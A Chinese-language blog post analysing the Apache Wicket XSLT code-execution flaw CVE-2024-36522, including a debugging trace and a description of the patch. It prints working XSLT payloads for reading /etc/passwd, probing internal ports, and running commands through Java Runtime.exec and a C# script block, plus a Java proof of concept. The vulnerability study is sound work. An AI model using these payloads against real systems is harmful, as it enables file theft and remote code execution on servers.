Apache Wicket 爆出的XSLT 代码执行漏洞

Apache Wicket XSLT 代码执行漏洞

前言

最近爆出了一个Apache Wicket XSLT 代码执行漏洞,因为之前没有怎么接触过 XSLT 代码执行,顺便学习了如何利用XSLT 代码执行,也是两全其美了

参考https://avd.aliyun.com/detail?id=AVD-2024-36522

漏洞描述

Apache Wicket是一个Java 语言的Web开发框架。2024年6月,官方发布 9.18.0 与 10.1.0 版本 修复CVE-2024-36522 Apache Wicket XSLT 代码执行漏洞。攻击者可构造恶意请求执行任意代码,控制服务器。

XSLT介绍

XSLT(Extensible Stylesheet Language Transformations,可扩展样式表语言转换)是一种用于将XML文档转换成HTML、文本、或其他XML文档的语言。它基于XPath和XSL,是W3C(万维网联盟)定义的一个标准。

基本语法:

xsl:stylesheet:根元素,定义了转换的基本信息,如版本号和命名空间。
xsl:template:定义转换模板,可以包含匹配模式和模板规则。
xsl:for-each:用于迭代XML文档中的节点集合。
xsl:if、xsl:choose、xsl:when:条件语句,用于基于条件选择不同的转换路径。
xsl:value-of:用于输出XML节点的文本内容。
xsl:variable:定义变量,用于存储和重用转换过程中的数据。
xsl:param:定义参数,允许在调用模板时传递参数。
xsl:include、xsl:import:用于包含或导入其他XSLT样式表。

恶意利用

这个和xml外部实体注入差不读,我们通过官方文档其实还是能筛选出能够恶意利用的标签或者函数的

system-property()

这个函数可以用来返回系统属性的值。

可以造成信息泄露的

  • xsl: vendor
  • xsl: vendor-url
  • xsl: version

比如

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:value-of select="system-property('xsl:vendor')"/>
  </xsl:template>
</xsl:stylesheet>

document()

用于访问外部 XML 文档中的节点。

可以读取文件

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('/etc/passwd')"/>
    Fruits:
        <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

当然也可以用来端口探测

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/fruits">
    <xsl:copy-of select="document('http://172.16.132.1:25')"/>
    Fruits:
        <!-- Loop for each fruit -->
    <xsl:for-each select="fruit">
      <!-- Print name: description -->
      - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
    </xsl:for-each>
  </xsl:template>
</xsl:stylesheet>

RCE

xslt处理器如果不禁用,能将本机的java语言方法暴露为XSLT函数,导致任意代码执行漏洞

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
    <xsl:variable name="processString" select="ob:toString($process)"/>
    <xsl:value-of select="$processString"/>
    </xsl:template>
</xsl:stylesheet>

嵌入脚本区块执行远程代码

嵌入的脚本区块是专有的XSLT扩展,可以直接在XSLT文档中包含代码。在微软的实现中,可以包含C#代码。当文档被解析,远程服务器会编译然后执行代码。

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

  <xsl:template match="/fruits">
  --- BEGIN COMMAND OUTPUT ---
    <xsl:value-of select="user:execute()"/>
  --- END COMMAND OUTPUT ---    
  </xsl:template>
</xsl:stylesheet>

import和incldue

可以引入外部文件,那就是引入像上面那些有恶意利用的

参考https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.web%E6%BC%8F%E6%B4%9E/19.xslt/#java-rce

官方文档

https://www.w3school.com.cn/xsl/xsl_functions.asp

环境搭建

加入存在漏洞的依赖就好了

<dependencies>
    <!--  WICKET DEPENDENCIES -->
    <dependency>
        <groupId>org.apache.wicket</groupId>
        <artifactId>wicket-core</artifactId>
        <version>9.16.0</version>
    </dependency>
</dependencies>

漏洞分析

首先是需要加载xslt文件,我是选去搜索一下哪里和这个有关系

锁定这两个类了

一开始我用的是xsltTransformer类

public CharSequence transform(Component component, CharSequence output) throws Exception {
    IResourceStream resourceStream = this.getResourceStream(component);
    if (resourceStream == null) {
        throw new FileNotFoundException("Unable to find XSLT resource for " + component.toString());
    } else {
        StringBuffer var7;
        try {
            TransformerFactory tFactory = TransformerFactory.newInstance();
            Transformer transformer = tFactory.newTransformer(new StreamSource(resourceStream.getInputStream()));
            StringWriter writer = new StringWriter();
            transformer.transform(new StreamSource(new StringReader(output.toString())), new StreamResult(writer));
            var7 = writer.getBuffer();
        } finally {
            resourceStream.close();
        }

        return var7;
    }
}

但是始终没有触发漏洞,最后选择XSLTResourceStream类

public XSLTResourceStream(final IResourceStream xsltResource, final IResourceStream xmlResource)
{
    try
    {
       javax.xml.transform.Source xmlSource = new javax.xml.transform.stream.StreamSource(
          xmlResource.getInputStream());
       javax.xml.transform.Source xsltSource = new javax.xml.transform.stream.StreamSource(
          xsltResource.getInputStream());
       out = new ByteArrayOutputStream();
       javax.xml.transform.Result result = new javax.xml.transform.stream.StreamResult(out);

       // create an instance of TransformerFactory
       javax.xml.transform.TransformerFactory transFact = javax.xml.transform.TransformerFactory.newInstance();

       javax.xml.transform.Transformer trans = transFact.newTransformer(xsltSource);
       Map<Object, Object> parameters = getParameters();
       if (parameters != null)
       {
          for (Entry<Object, Object> e : parameters.entrySet())
          {
             trans.setParameter(e.getKey().toString(), e.getValue().toString());
          }
       }

       trans.transform(xmlSource, result);
    }
    catch (Exception e)
    {
       throw new RuntimeException(e);
    }
    finally
    {
       IOUtils.closeQuietly(xmlResource);
       IOUtils.closeQuietly(xsltResource);
    }
}

可以发现在构造函数就已经调用了我们需要的方法trans.transform(xmlSource, result)

主要是xmlSource的构造

javax.xml.transform.Source xmlSource = new javax.xml.transform.stream.StreamSource(
    xmlResource.getInputStream());

接受的参数是IResourceStream

最后构造如下

import org.apache.wicket.util.resource.FileResourceStream;
import org.apache.wicket.util.resource.IResourceStream;
import org.apache.wicket.util.resource.XSLTResourceStream;

import java.io.File;


public class Main {
    public static void main(String[] args) {
        IResourceStream xstlStream=new FileResourceStream(new File("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CVE\\CVE-2024-36522\\src\\main\\resources\\poc.xml"));
        IResourceStream xmlStream=new FileResourceStream(new File("F:\\IntelliJ IDEA 2023.3.2\\javascript\\CVE\\CVE-2024-36522\\src\\main\\resources\\poc.xml"));
        XSLTResourceStream stream = new XSLTResourceStream(xstlStream,xmlStream);

    }
}

POC.xml文件内容

这个的话网上很多了

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
                xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
        <xsl:variable name="rtobject" select="rt:getRuntime()"/>
        <xsl:variable name="process" select="rt:exec($rtobject,'calc')"/>
        <xsl:variable name="processString" select="ob:toString($process)"/>
        <xsl:value-of select="$processString"/>
    </xsl:template>
</xsl:stylesheet>

这里调试直接进入transform方法

public void transform(Source source, Result result)
    throws TransformerException
{
    if (!_isIdentity) {
        if (_translet == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.JAXP_NO_TRANSLET_ERR);
            throw new TransformerException(err.toString());
        }
        // Pass output properties to the translet
        transferOutputProperties(_translet);
    }

    final SerializationHandler toHandler = getOutputHandler(result);
    if (toHandler == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.JAXP_NO_HANDLER_ERR);
        throw new TransformerException(err.toString());
    }

    if (!_isIdentity && (_uriResolver != null || (_tfactory.getFeature(XMLConstants.USE_CATALOG)
                && _tfactory.getAttribute(JdkXmlUtils.CATALOG_FILES) != null))) {
        _translet.setDOMCache(this);
    }

    // Pass output properties to handler if identity
    if (_isIdentity) {
        transferOutputProperties(toHandler);
    }

    transform(source, toHandler, _encoding);

获取序列化处理器后,再设置编码方法之后再次进入transform方法

关键代码

private void transform(Source source, SerializationHandler handler,
    String encoding) throws TransformerException
{
    try {
        /*
         * According to JAXP1.2, new SAXSource()/StreamSource()
         * should create an empty input tree, with a default root node.
         * new DOMSource()creates an empty document using DocumentBuilder.
         * newDocument(); Use DocumentBuilder.newDocument() for all 3
         * situations, since there is no clear spec. how to create
         * an empty tree when both SAXSource() and StreamSource() are used.
         */
        if ((source instanceof StreamSource && source.getSystemId()==null
            && ((StreamSource)source).getInputStream()==null &&
            ((StreamSource)source).getReader()==null)||
            (source instanceof SAXSource &&
            ((SAXSource)source).getInputSource()==null &&
            ((SAXSource)source).getXMLReader()==null )||
            (source instanceof DOMSource &&
            ((DOMSource)source).getNode()==null)){

            boolean supportCatalog = true;

            DocumentBuilderFactory builderF = JdkXmlUtils.getDOMFactory(_overrideDefaultParser);
            try {
                builderF.setFeature(XMLConstants.USE_CATALOG, _useCatalog);
            } catch (ParserConfigurationException e) {
                supportCatalog = false;
            }

            if (supportCatalog && _useCatalog) {
                CatalogFeatures cf = (CatalogFeatures)_tfactory.getAttribute(JdkXmlFeatures.CATALOG_FEATURES);
                if (cf != null) {
                    for (CatalogFeatures.Feature f : CatalogFeatures.Feature.values()) {
                        builderF.setAttribute(f.getPropertyName(), cf.get(f));
                    }
                }
            }

            DocumentBuilder builder = builderF.newDocumentBuilder();
            String systemID = source.getSystemId();
            source = new DOMSource(builder.newDocument());

            // Copy system ID from original, empty Source to new
            if (systemID != null) {
              source.setSystemId(systemID);
            }
        }
        if (_isIdentity) {
            transformIdentity(source, handler);
        } else {
            _translet.transform(getDOM(source), handler);
        }

这段代码主要用于处理不同类型的 XML 源(Source),并生成一个空的文档树作为输入,以便后续的 XSLT 转换。

主要是处理不同类型的源,最后,根据 _isIdentity 标志,决定是执行身份变换还是使用 _translet 执行实际的 XSLT 转换。getDOM(source) 可能是一个将 Source 转换为 DOM 对象的方法。

最后调用到命令的调用栈如下

exec:315, Runtime (java.lang)
template$dot$0:-1, GregorSamsa (die.verwandlung)
applyTemplates:-1, GregorSamsa (die.verwandlung)
transform:-1, GregorSamsa (die.verwandlung)
transform:627, AbstractTranslet (com.sun.org.apache.xalan.internal.xsltc.runtime)
transform:782, TransformerImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
transform:395, TransformerImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:92, XSLTResourceStream (org.apache.wicket.util.resource)
main:12, Main

中途就是一些底层解析xsml文件的了

漏洞修复

很简单,直接把我们的外部runtime给ban了

XSLTResourceStream的构造函数中新增了defaultTransformerFactory方法

设置了安全解析XML文件,默认是flase.

设置后不允许使用扩展函数,Runtime执行系统命令就不能再使用了。

0 条评论
某人
表情
可输入 255